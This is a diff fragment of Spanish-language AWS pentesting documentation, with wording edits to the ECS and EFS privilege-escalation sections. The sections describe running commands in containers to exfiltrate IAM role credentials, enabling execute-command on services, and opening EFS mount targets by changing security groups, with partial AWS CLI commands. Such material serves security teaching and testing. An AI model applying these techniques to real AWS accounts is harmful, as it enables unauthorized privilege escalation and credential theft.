 Un atacante con el **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** puede **ejecutar comandos** dentro de un contenedor en ejecución y exfiltrar el rol de IAM adjunto a él (necesitas los permisos de descripción porque es necesario ejecutar `aws ecs execute-command`).\
-Sin embargo, para hacer eso, la instancia del contenedor necesita estar ejecutando el **agente ExecuteCommand** (que por defecto no lo está).
+Sin embargo, para hacer eso, la instancia del contenedor debe estar ejecutando el **agente ExecuteCommand** (que por defecto no lo está).
 
 Por lo tanto, el atacante podría intentar:
 
@@ -172,7 +172,7 @@ aws ecs execute-command --interactive \
 - Si tiene **`ecs:CreateService`**, cree un servicio con `aws ecs create-service --enable-execute-command [...]`
 - Si tiene **`ecs:UpdateService`**, actualice un servicio con `aws ecs update-service --enable-execute-command [...]`
 
-Puede encontrar **ejemplos de esas opciones** en **secciones anteriores de privesc de ECS**.
+Puede encontrar **ejemplos de estas opciones** en **secciones anteriores de privesc de ECS**.
 
 **Impacto Potencial:** Privesc a un rol diferente adjunto a contenedores.
 
@@ -194,7 +194,7 @@ aws-ec2-privesc.md
 
 ### `?ecs:RegisterContainerInstance`
 
-TODO: ¿Es posible registrar una instancia de una cuenta de AWS diferente para que las tareas se ejecuten en máquinas controladas por el atacante?
+TODO: ¿Es posible registrar una instancia de otra cuenta de AWS para que las tareas se ejecuten en máquinas controladas por el atacante?
 
 ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
 

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md

@@ -75,7 +75,7 @@ aws efs create-mount-target --file-system-id <fs-id> \
 
 ### `elasticfilesystem:ModifyMountTargetSecurityGroups`
 
-En un escenario donde un atacante descubre que el EFS tiene un objetivo de montaje en su subred pero **ningún grupo de seguridad permite el tráfico**, podría simplemente **cambiar eso modificando los grupos de seguridad seleccionados**:
+En un escenario donde un atacante descubre que el EFS tiene un objetivo de montaje en su subred pero **ningún grupo de seguridad está permitiendo el tráfico**, podría simplemente **cambiar eso modificando los grupos de seguridad seleccionados**:
 ```bash
 aws efs modify-mount-target-security-groups \
 --mount-target-id <value> \